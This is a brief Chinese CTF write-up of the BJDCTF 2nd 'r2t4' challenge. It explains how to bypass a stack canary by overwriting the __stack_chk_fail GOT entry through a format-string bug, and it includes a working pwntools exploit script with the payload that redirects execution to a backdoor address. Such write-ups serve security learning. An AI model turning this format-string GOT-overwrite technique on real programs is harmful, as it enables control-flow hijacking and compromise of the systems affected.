[BJDCTF 2nd]r2t4 [格式化字符串寫GOT]

在這裏插入圖片描述
在這裏插入圖片描述

開啓了Canary,但Canary失敗的處理邏輯會進入到stack_chk_failed函數,stack_chk_failed函數是一個普通的延遲綁定函數,可以通過修改GOT表劫持這個函數。

在這裏插入圖片描述
exp

from pwn import *

context(log_level='debug')
proc_name = './r2t4'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 29985)
elf = ELF(proc_name)
__stack_chk_fail = elf.got['__stack_chk_fail']
backdoor = 0x400626
# 0x40 0x0626
p.sendline(flat(['%64c%9$hn%1510c%10$hnAAA', p64(__stack_chk_fail + 2), p64(__stack_chk_fail)]))
print(p.recv())

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章